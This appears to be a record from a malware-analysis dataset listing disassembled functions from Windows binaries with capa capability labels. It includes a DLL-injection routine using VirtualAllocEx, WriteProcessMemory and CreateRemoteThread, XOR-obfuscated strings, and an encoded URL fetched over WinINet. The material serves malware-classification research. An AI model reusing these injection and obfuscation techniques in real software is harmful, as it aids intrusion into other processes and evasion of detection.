joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45b6c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x0058ad20]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x0058aa50], 0
je 0x45b6f6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x0058b040]
aesenc xmm0, xmmword [0x0058b050]
aesenc xmm0, xmmword [0x0058b060]
movq rax, xmm0
ret
jmp 0x408940

Function at 0x45d020
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x0058afc0]
mov qword [rsp + 8], rdx
lea r8d, [0x0058aa68]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.0045b5a0
add rsp, 0x30
ret
Function at 0x140004800
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x1400680a0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, rcx
mov rdi, rdx
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, 0xffffffffffffffff
mov r14, rax
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140004850
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400048ba
lea rdx, str.Failed_allocating_memory_in_the_target_process._GetLastError__:
lea rcx, [0x140069bf0]
call fcn.140013c00
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14000b3b0
mov rcx, rax
lea rdx, [0x14005d40c]
call fcn.140013c00
xor al, al
jmp 0x1400049bd
mov qword [rsp + 0x90], r15
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x1400048c2
xor r15d, r15d
lea r9, [rbx + 1]
mov r8, rdi
mov qword [rsp + 0x20], r15
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400048f5
lea rdx, str.Failed_writing_to_process._GetLastError__:
jmp 0x140004924
mov qword [rsp + 0x30], r15
mov r9, r14
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x140004956
lea rdx, str.Failed_to_create_a_thread_in_the_target_process._GetLastError__:
lea rcx, [0x140069bf0]
call fcn.140013c00
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14000b3b0
mov rcx, rax
lea rdx, [0x14005d40c]
call fcn.140013c00
xor al, al
jmp 0x1400049b5
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r15d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x40], r15d
jne 0x1400049b3
lea rdx, str.LoadLibrary_failed_with_exit_code_0._n
lea rcx, [0x140069bf0]
call fcn.140013c00
xor al, al
jmp 0x1400049b5
mov al, 1
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140022640
add rsp, 0x50
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400055c0
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1400680a0]
xor rax, rsp
mov qword [rbp - 8], rax
mov r12, rdx
mov r14, rcx
mov qword [rbp - 0x38], rcx
xor r13d, r13d
mov dword [rbp - 0x40], r13d
mov dword [rbp - 0x30], r13d
mov qword [rcx], r13
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], 0xf
mov byte [rcx], r13b
xor r8d, r8d
lea rdx, [0x14005d26b]
call fcn.1400046a0
mov dword [rbp - 0x40], 1
mov rsi, 0xffffffffffffffff
mov rdi, rsi
nop dword [rax]
inc rdi
cmp byte [r12 + rdi], 0
jne 0x140005630
test edi, edi
je 0x1400057ce
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8d, [r9 + 1]
mov edx, edi
mov rcx, r12
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rbp - 0x30]
test eax, eax
je 0x140005741
xorps xmm0, xmm0
mov r15d, eax
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r13
cmp rax, 0x1000
jb 0x1400056ab
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x140005801
call fcn.140022904
mov rcx, rax
test rax, rax
je 0x1400057f5
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400056b3
mov rcx, r15
call fcn.140022904
mov qword [rbp - 0x28], rax
lea rbx, [rax + r15]
mov qword [rbp - 0x18], rbx
mov r8, r15
xor edx, edx
mov rcx, rax
call fcn.140024d70
mov qword [rbp - 0x20], rbx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x28]
mov r8d, 1
mov edx, edi
mov rcx, r12
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rdx, qword [rbp - 0x28]
inc rsi
cmp byte [rdx + rsi], 0
jne 0x1400056f2
mov r8, rsi
mov rcx, r14
call fcn.1400046a0
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140005741
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000573c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057f5
call fcn.140022660
mov rcx, r14
call fcn.14000b850
cmp rax, 0xffffffffffffffff
je 0x1400057ce
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
mov r8d, 2
lea rdx, [0x14005d544]
lea rcx, [rbp - 0x28]
call fcn.1400046a0
nop
mov rcx, r14
call fcn.14000b850
mov qword [rsp + 0x20], r13
mov r8, qword [rbp - 0x18]
mov rdx, rax
mov rcx, r14
call fcn.14000ec40
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140005741
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000573c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057fb
jmp 0x14000573c
mov rax, r14
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140022640
mov rbx, qword [rsp + 0xc0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140031a6c
int3
call fcn.140031a6c
int3
call fcn.1400014d0
int3
Function at 0x140005c10
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x19], 0
je 0x140005c33
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x140005c20
mov byte [rcx + 0x19], 0
mov rax, rcx
ret

Function at 0x140005c40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x20], 0
je 0x140005c63
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1f
jb 0x140005c50
mov byte [rcx + 0x20], 0
mov rax, rcx
ret

Function at 0x140005c70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2d], 0
je 0x140005c93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2c
jb 0x140005c80
mov byte [rcx + 0x2d], 0
mov rax, rcx
ret

Function at 0x140006000
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x1400680a0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
call fcn.140005830
movdqa xmm0, xmmword [0x14005f230]
xor ebx, ebx
movdqu xmmword [rbp - 9], xmm0
mov ecx, ebx
mov byte [rbp + 7], 1
nop
lea eax, [rcx + 0x2c]
xor byte [rbp + rcx - 9], al
inc rcx
cmp rcx, 0xf
jb 0x140006040
xor r9d, r9d
mov byte [rbp + 7], bl
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
lea rcx, [rbp - 9]
call qword [sym.imp.WININET.dll_InternetOpenA]
movdqa xmm0, xmmword [0x14005f3b0]
mov rdx, rbx
movdqa xmm1, xmmword [0x14005f370]
movdqu xmmword [rbp + 0xf], xmm0
mov word [rbp + 0x2f], 0x100
movdqu xmmword [rbp + 0x1f], xmm1
nop dword [rax]
lea ecx, [rdx + 0x2c]
xor byte [rbp + rdx + 0xf], cl
inc rdx
cmp rdx, 0x20
jb 0x140006090
mov qword [rsp + 0x28], rbx
lea rdx, [rbp + 0xf]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov byte [rbp + 0x30], bl
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ecx, 0x1f4
mov dword [rbp + 0x37], 0xf
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp + 0x37]
mov r8d, 0xf
lea rdx, [rbp + 0x3f]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rbp + 0x37]
cmp rax, 0x10
jae 0x140006189
mov byte [rbp + rax + 0x3f], bl
call fcn.140005830
mov dword [rbp - 9], 0xf000313
mov dword [rbp - 5], 0x1d121f10
mov dword [rbp - 1], 0x41421b0b
mov word [rbp + 3], 0x56
mov byte [rbp + 5], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx + 0x2c]
xor byte [rbp + rbx - 9], al
inc rbx
cmp rbx, 0xd
jb 0x140006130
lea rax, [rbp - 9]
mov byte [rbp + 5], 0
lea r8, [rbp + 0x3f]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006163
inc rax
test ecx, ecx
jne 0x140006150
test edx, edx
sete al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140022640
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.140022770
int3
Function at 0x140006190
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rdi, rcx
mov dword [rbp - 0x10], 0x4b494944
xor ecx, ecx
mov dword [rbp - 0xc], 0x555a5742
mov rbx, rdx
mov dword [rbp - 8], 0x595f1b51
mov word [rbp - 4], 0x51
mov byte [rbp - 2], 1
nop dword [rax]
lea eax, [rcx + 0x2c]
xor byte [rbp + rcx - 0x10], al
inc rcx
cmp rcx, 0xd
jb 0x1400061d0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
mov byte [rbp - 2], 0
jb 0x1400061f1
mov r8, qword [rdi]
mov dword [rbp - 0x30], 0x4a594b58
xor ecx, ecx
mov dword [rbp - 0x2c], 0x54405457
mov word [rbp - 0x28], 0x100
nop word [rax + rax]
lea eax, [rcx + 0x2c]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 8
jb 0x140006210
mov byte [rbp - 0x27], 0
xor ecx, ecx
mov dword [rbp - 0x20], 0x4a594b58
mov dword [rbp - 0x1c], 0x54405457
mov word [rbp - 0x18], 0x100
nop word [rax + rax]
lea eax, [rcx + 0x2c]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 8
jb 0x140006240
lea r9, [rbp - 0x10]
mov byte [rbp - 0x17], 0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
xor ecx, ecx
mov dword [rbp - 0x10], 0x485d4b55
mov dword [rbp - 0xc], 0x1d555442
mov dword [rbp - 8], 0x5f5b5d
mov byte [rbp - 4], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x2c]
xor byte [rbp + rcx - 0x10], al
inc rcx
cmp rcx, 0xb
jb 0x140006290
cmp qword [rbx + 0x18], 0x10
mov r8, rbx
mov byte [rbp - 4], 0
jb 0x1400062b1
mov r8, qword [rbx]
mov dword [rbp - 0x20], 0x4846485e
xor ecx, ecx
mov dword [rbp - 0x1c], 0x41555555
mov dword [rbp - 0x18], 0x1004753
nop dword [rax + rax]
lea eax, [rcx + 0x2c]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xa
jb 0x1400062d0
mov byte [rbp - 0x15], 0
xor ecx, ecx
mov dword [rbp - 0x30], 0x4846485e
mov dword [rbp - 0x2c], 0x41555555
mov dword [rbp - 0x28], 0x1004753
nop dword [rax + rax]
lea eax, [rcx + 0x2c]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x140006300
lea r9, [rbp - 0x10]
mov byte [rbp - 0x25], 0
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000635c
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140006357
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400063c8
mov rcx, r8
call fcn.140022660
mov byte [rdi], 0
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0xf
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400063a5
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400063a0
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400063c8
mov rcx, r8
call fcn.140022660
mov qword [rbx + 0x10], 0
mov rdi, qword [rsp + 0x78]
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
call fcn.140031a6c
int3
Function at 0x140008a00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x40], 0
je 0x140008a23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x3f
jb 0x140008a10
mov byte [rcx + 0x40], 0
mov rax, rcx
ret

Function at 0x140008a30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5d], 0
je 0x140008a53
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5c
jb 0x140008a40
mov byte [rcx + 0x5d], 0
mov rax, rcx
ret

Function at 0x140008a60
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x58], 0
je 0x140008a83
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x57
jb 0x140008a70
mov byte [rcx + 0x58], 0
mov rax, rcx
ret

Function at 0x140008a90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xaf], 0
je 0x140008ab8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xae
jb 0x140008aa0
mov byte [rcx + 0xaf], 0
mov rax, rcx
ret

Function at 0x140008ac0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x76], 0
je 0x140008ae3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x75
jb 0x140008ad0
mov byte [rcx + 0x76], 0
mov rax, rcx
ret

Function at 0x140008af0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x60], 0
je 0x140008b13
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5f
jb 0x140008b00
mov byte [rcx + 0x60], 0
mov rax, rcx
ret

Function at 0x140008b20
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x9d], 0
je 0x140008b48
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x9c
jb 0x140008b30
mov byte [rcx + 0x9d], 0
mov rax, rcx
ret

Function at 0x140008b50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa6], 0
je 0x140008b78
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa5
jb 0x140008b60
mov byte [rcx + 0xa6], 0
mov rax, rcx
ret

Function at 0x140008b80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x4a], 0
je 0x140008ba3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x49
jb 0x140008b90
mov byte [rcx + 0x4a], 0
mov rax, rcx
ret

Function at 0x140008bb0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x6f], 0
je 0x140008bd3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x6e
jb 0x140008bc0
mov byte [rcx + 0x6f], 0
mov rax, rcx
ret
Function at 0x140008c80
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1400680a0]
xor rax, rsp
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [0x14005f3d0]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x14005f390]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0x3537353b
mov word [rsp + 0x44], 0x100
xor edx, edx
mov eax, edx
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rax + 0x2c]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0x24
jb 0x140008cd0
mov byte [rsp + 0x45], dl
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], 0xf
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140008d03
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.1400046a0
call fcn.140028dd4
mov r8d, eax
and r8d, 0x1f
movabs rax, 0x842108421084211
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 4
imul rcx, rcx, 0x1f
sub r8, rcx
lea rax, [rsp + 0x48]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140008d92
mov rcx, qword [rsp + 0x48]
movzx ebx, byte [rcx + r8 + 1]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008dae
call fcn.140022660
jmp 0x140008d98
movzx ebx, byte [rax + r8 + 1]
movzx eax, bl
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140022640
add rsp, 0x70
pop rbx
ret
call fcn.140031a6c
int3
Function at 0x140009230
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x59], 0
je 0x140009253
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x58
jb 0x140009240
mov byte [rcx + 0x59], 0
ret

Function at 0x140009260
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5a], 0
je 0x140009283
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x59
jb 0x140009270
mov byte [rcx + 0x5a], 0
ret

Function at 0x140009290
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5b], 0
je 0x1400092b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5a
jb 0x1400092a0
mov byte [rcx + 0x5b], 0
ret

Function at 0x1400092c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x73], 0
je 0x1400092e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x72
jb 0x1400092d0
mov byte [rcx + 0x73], 0
ret

Function at 0x1400094d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 7], 0
je 0x1400094f3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 6
jb 0x1400094e0
mov byte [rcx + 7], 0
ret

Function at 0x140009500
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 8], 0
je 0x140009523
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 7
jb 0x140009510
mov byte [rcx + 8], 0
ret

Function at 0x140009530
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 3], 0
je 0x140009553
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 2
jb 0x140009540
mov byte [rcx + 3], 0
ret

Function at 0x140009560
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
je 0x140009583
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 3
jb 0x140009570
mov byte [rcx + 4], 0
ret

Function at 0x140009590
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2b], 0
je 0x1400095b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2a
jb 0x1400095a0
mov byte [rcx + 0x2b], 0
ret

Function at 0x1400095c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x1400095e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x1400095d0
mov byte [rcx + 5], 0
ret

Function at 0x1400095f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x140009613
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x140009600
mov byte [rcx + 6], 0
ret

Function at 0x140009620
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1d], 0
je 0x140009643
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1c
jb 0x140009630
mov byte [rcx + 0x1d], 0
ret
Function at 0x140009660
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xf], 0
je 0x140009683
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xe
jb 0x140009670
mov byte [rcx + 0xf], 0
ret

Function at 0x140009690
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
je 0x1400096b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x1400096a0
mov byte [rcx + 9], 0
ret

Function at 0x1400096c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x10], 0
je 0x1400096e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x2c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x1400096d0
mov byte [rcx + 0x10], 0
ret

Function at 0x140009be0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140009c02
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x140009c7c
mov rdi, r14
mov rcx, rbx
call fcn.14000e9f0
test rax, rax
jle 0x140009c54
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.1400246c0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140009c6c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140009c74
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140009c16
sub r14, rdi
jmp 0x140009d69
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140009c93
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140009c95
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140009cca
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1400246c0
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140009d66
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x140009d05
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140009d41
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140031558
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x140009d7f
cmp rbp, rax
ja 0x140009d11
mov r8, rdi
test rdi, rdi
je 0x140009d66
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140031558
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x140009d69